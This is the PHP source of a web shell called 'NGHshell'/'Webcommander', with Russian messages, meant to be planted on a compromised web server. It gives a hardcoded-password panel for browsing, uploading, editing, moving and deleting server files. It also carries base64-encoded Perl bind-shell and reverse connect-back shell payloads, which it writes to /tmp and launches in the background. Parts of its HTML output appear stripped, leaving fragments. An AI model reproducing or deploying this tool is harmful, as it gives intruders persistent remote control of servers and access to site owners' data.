/* Webcommander by Cr4sh_aka_RKL v0.3.9 NGH edition :p */
$script = $_SERVER["SCRIPT_NAME"];
/* username and pass here ***************/
$user = "yourlogin";
$pass = "yourpass";
/****************************************/
$login = @$_POST['login'];
$luser = @$_POST['user'];
$lpass = @$_POST['pass'];
$act = @$_GET['act'];
$logo = "R0lGODlhMAAwAOYAAAAAAP////r6+jEvKzQ0NQICATc3HiAgGyoqJxsbGQ4ODXl5dPr68m1taoWFgj4+Pf39+vr6+Obm5Pj49/Ly"
."8ezs693d3MXFxJaWlV5dRtDOnquphqumcCcmGrezf8G9icnFlKCdet/br9jUqePgt+fkvOTj1X94PJKLUby7sk9JHF9ZKnJrPDk4"
."MEdAFD08NqqnmBUUEGxoVtnTukdFPV1cWGZlYezjxPXv2JCNgoN8ZuDcz3VvX/Dnz9vWx8fDt/jz5ZmWjrOwp/bz67mxnOrgyLu1"
."p9PNwfLt41BPTamoprGYabqrkK6gh+vcwu7izOLKpObSsujVtY6Cb+nXuerZveHFnbymheTNqubQrvf18ruedvDm2LW0s9DPz/v7"
."+7m5uQUFBQICAv///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
."AAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAGMALAAAAAAwADAAAAf/gGOCg4SFhoeIiYqLjI2OhFORUzqUOjyXlzKaMjU1SQ0L"
."j4tTXWCmp6inXV1KGA6doaKIU2ACtre4uBUSXmAODhhJsoe0uca4FLxKCxcYL8OFOrXH1BQWXjYSFw4E0IPF1NQVFUkC2tzeY9K2"
."BQhJDzEAAOEU5ebb3dDSCghdFBS7MDSQZ2tCriQVbJ17NkxHghwBLIDxYsFCBQtKbCAQYBBXEosCvmgLNgwAhi9dFjQgQOABKC9K"
."BhpLQjGhyGY2RHVBoK1Bgi5fbHUB4KBZv4MJEiB4kKQGKFCPDkx0ICZoLgBdXM3DpQ2MkiAOFtio8SCnozB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EEdcjyIX2T2wfOhWjl667+OOTL0oSQpyIPRftu2874/J7Xv3s9wj8TUd9/Gtf7USHOyzMb4Dj"
."i9791GQEIliQCEzIYAavwMErbOGDIFzCFpZAwhKWTxEdGIAKV8jCFrrwhStMhwxnSMMa2tAQgQAAOw==";
/* bd.pl ********************************/
$bind = "IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vYmFzaCAtaSI7DQppZiAoQEFSR1YgPCAxKSB7IGV4aXQoMSk7IH0NCiRMSVNU"
."RU5fUE9SVD0kQVJHVlswXTsNCnVzZSBTb2NrZXQ7DQokcHJvdG9jb2w9Z2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0Kc29ja2V0KFMs"
."JlBGX0lORVQsJlNPQ0tfU1RSRUFNLCRwcm90b2NvbCkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0"
."KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJExJU1RFTl9QT1JULElOQUREUl9BTlkp"
."KSB8fCBkaWUgIkNhbnQgb3BlbiBwb3J0XG4iOw0KbGlzdGVuKFMsMykgfHwgZGllICJDYW50IGxpc3RlbiBwb3J0XG4iOw0Kd2hp"
."bGUoMSkNCnsNCmFjY2VwdChDT05OLFMpOw0KaWYoISgkcGlkPWZvcmspKQ0Kew0KZGllICJDYW5ub3QgZm9yayIgaWYgKCFkZWZp"
."bmVkICRwaWQpOw0Kb3BlbiBTVERJTiwiPCZDT05OIjsNCm9wZW4gU1RET1VULCI+JkNPTk4iOw0Kb3BlbiBTVERFUlIsIj4mQ09O"
."TiI7DQpleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCmNsb3NlIENPTk47DQpl"
."eGl0IDA7DQp9DQp9";
/* connectback-backdoor on perl ********/
$backcon = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj"
."aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1p"
."bmV0X2F0b24oJHRhcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIp"
."IHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9J"
."TkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8"
."fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsN"
."Cm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNURElOKTsNCmNsb3NlKFNURE9VVCk7"
."DQpjbG9zZShTVERFUlIpOw==";
if ($act == "showlogo") {
header("Content-type: image/gif");
echo base64_decode($logo);
exit;
}
if ($login) {
Sleep(1);
if ($luser == $user && $lpass == $pass) {
setcookie("logined", $pass);
} else {
die("Login error");
}
} else {
$logined = @$_COOKIE['logined'];
if ($logined != $pass) {
?>
exit;
}
}
?>
Webcommander at =$_SERVER["HTTP_HOST"]?>
$path = @rawurldecode($_GET['dir']);
$cmd = @$_GET['cmd'];
if ($act == "mass") {
$post = array_keys($_POST);
$todo = $_POST[$post[sizeof($post)-2]];
$to = $_POST[$post[sizeof($post)-1]];
for ($i = 0; $i < sizeof($post)-2; $i++) {
if ($_POST[$post[$i]]) {
if ($todo == "del") {
rm($_POST[$post[$i]]);
}
elseif ($todo == "mv") {
mvcp($_POST[$post[$i]], $to."/".$post[$i], $todo);
}
else {
mvcp($_POST[$post[$i]], $to."/".$post[$i], "cp");
}
}
}
//exit;
}
elseif ($act == mkdir) {
$dirname = @$_POST['dirname'];
$path = @$_POST['dir'];
if (!$dirname) die("Ведите имя\n");
if (!@mkdir($path.$dirname)) die("Немогу создать папку\n");
}
elseif ($act == upload) {
$userfile = @$_FILES['userfile']['tmp_name'];
$uploaddir = @$_POST['uploaddir'];
if (is_uploaded_file($userfile)) {
@copy($userfile, $uploaddir.$_FILES['userfile']['name']);
@unlink($userfile);
$path = $uploaddir;
} else die("Ошибка при загрузке файла\n");
}
elseif ($act == "rm") {
$name = @$_GET['name'];
rm($name);
$inf = pathinfo($name);
$path = $inf['dirname'];
}
elseif ($act == "viev") {
$name = @$_GET['name'];
if (file_exists($name)) {
echo "\n".
"[ back ]";
} else die("Файл не найден\n");
exit;
}
elseif ($act == "updatefile") {
$filename = @$_POST['file'];
$text = @$_POST['text'];
if (is_writable($filename)) {
$handle = fopen($filename, "w+");
if (fwrite($handle, stripslashes($text)) === FALSE) {
die("Ошибка записи в файл\n");
}
} else die("Файл недоступен для записи\n");
fclose($handle);
$inf = pathinfo($filename);
$path = $inf['dirname'];
}
elseif ($act == "touch") {
$userfile = @$_POST['file'];
$userdir = @$_POST['dir'];
if (!$userfile) {
die("Ведите имя\n");
}
$handle = fopen($userdir.$userfile, "w+");
if (fwrite($handle, "") === FALSE) {
die("Ошибка создания файла\n");
}
fclose($handle);
$path = $userdir;
}
elseif ($act == "renameform") {
$name = @$_GET['name'];
echo ""
."[ back ]";
exit;
}
elseif ($act == "rename") {
$from = @$_POST['from'];
$to = @$_POST['to'];
$todo = @$_POST['todo'];
mvcp($from, $to, $todo);
$inf = pathinfo($from);
$path = $inf['dirname'];
}
elseif ($act == "bindshell") {
$port = @$_POST['port'];
if (!$port) {
die("Укажите порт");
}
$file = "/tmp/bd";
$handle = fopen($file, "w+");
if (fputs($handle, base64_decode($bind)) === FALSE) {
die("Ошибка создания файла ".$file."\n");
} else {
fclose($handle);
passthru("perl ".$file." ".$port." > /dev/null &");
}
}
elseif ($act == "backconnect") {
$port = @$_POST['port'];
$addr = @$_POST['addr'];
if (!$port || !$addr) {
die("Укажите порт и адресс");
}
$file = "/tmp/bcon";
$handle = fopen($file, "w+");
if (fputs($handle, base64_decode($backcon)) === FALSE) {
die("Ошибка создания файла ".$file."\n");
} else {
fclose($handle);
passthru("perl ".$file." ".$addr." ".$port." > /dev/null &");
}
}
elseif ($act == "phpinfo") {
phpinfo();
exit;
}
if (!$path) {
$dir = getcwd()."/";
} else {
$dir = stripslashes($path);
if ($dir[strlen($dir)-1] != "/") $dir .= "/";
}
$dir = str_replace("\\", "/", $dir);
$dir = str_replace("//", "/", $dir);
$arr = explode("/", $dir);
for ($i=0; $i
?act=showlogo> |
Host: | =$_SERVER["HTTP_HOST"]?> |
IP address: | =$_SERVER["SERVER_ADDR"]?> |
Software: | =$_SERVER["SERVER_SOFTWARE"]?> |
if($handle = @opendir($dir)) {
?>
?act=phpinfo>Phpinfo()
} else die("Директория не найдена\n");
function rm($name) {
if (is_file($name)) {
if (!@unlink($name)) die("Немогу удалить файл ".$name."\n");
}
elseif (is_dir($name)) deldir($name);
}
function mvcp($from, $to, $todo) {
if ($todo == "mv") {
if (is_file($from)) {
if (!rename($from, $to)) {
die("Ошибка при перемещении файла ".$from."");
}
}
elseif (is_dir($from)) {
mvdir($from, $to, $todo);
}
} else {
if (is_file($from)) {
if (!copy($from, $to)) {
die("Ошибка при копировании файла ".$from."");
}
}
elseif (is_dir($from)) {
mvdir($from, $to, "cp");
}
}
}
function deldir($name) {
if (@$handle=opendir($name)) {
while ($file = readdir($handle)) {
if ($file != ".." && $file != ".") {
if (is_file($name."/".$file)) {
unlink($name."/".$file);
}
elseif (is_dir($name."/".$file)) {
deldir($name."/".$file);
}
}
}
closedir($handle);
} else die("Немогу удалить папку ".$name."\n");
rmdir($name);
}
function mvdir($from, $to, $todo) {
if (@$handle = opendir($from)) {
mkdir($to);
while ($file = readdir($handle)) {
if ($file != ".." && $file != ".") {
if (is_file($from."/".$file)) {
if (!copy($from."/".$file, $to."/".$file)) {
die("Ошибка при копировании файла ".$from."/".$file."");
}
}
elseif (is_dir($from."/".$file)) {
mvdir($from."/".$file, $to."/".$file, $todo);
}
}
}
closedir($handle);
if ($todo == "mv") deldir($from);
} else die("Немогу копировать папку ".$name."\n");
}
function parseperms($perms)
{
if (!$perms) return "null";
if (($perms & 0xC000) == 0xC000) {
$info = 'socket ';
} elseif (($perms & 0xA000) == 0xA000) {
$info = 'link ';
} elseif (($perms & 0x8000) == 0x8000) {
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
$info = 'dir ' ;
} elseif (($perms & 0x2000) == 0x2000) {
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
$info = 'p';
} else {
$info = 'u';
}
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x' ) :
(($perms & 0x0400) ? 'S' : '-'));
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x' ) :
(($perms & 0x0200) ? 'T' : '-'));
return $info;
}
echo "
NGHshell 0.3.9 by Cr4sh\n";
/* EOF **********************************/
?>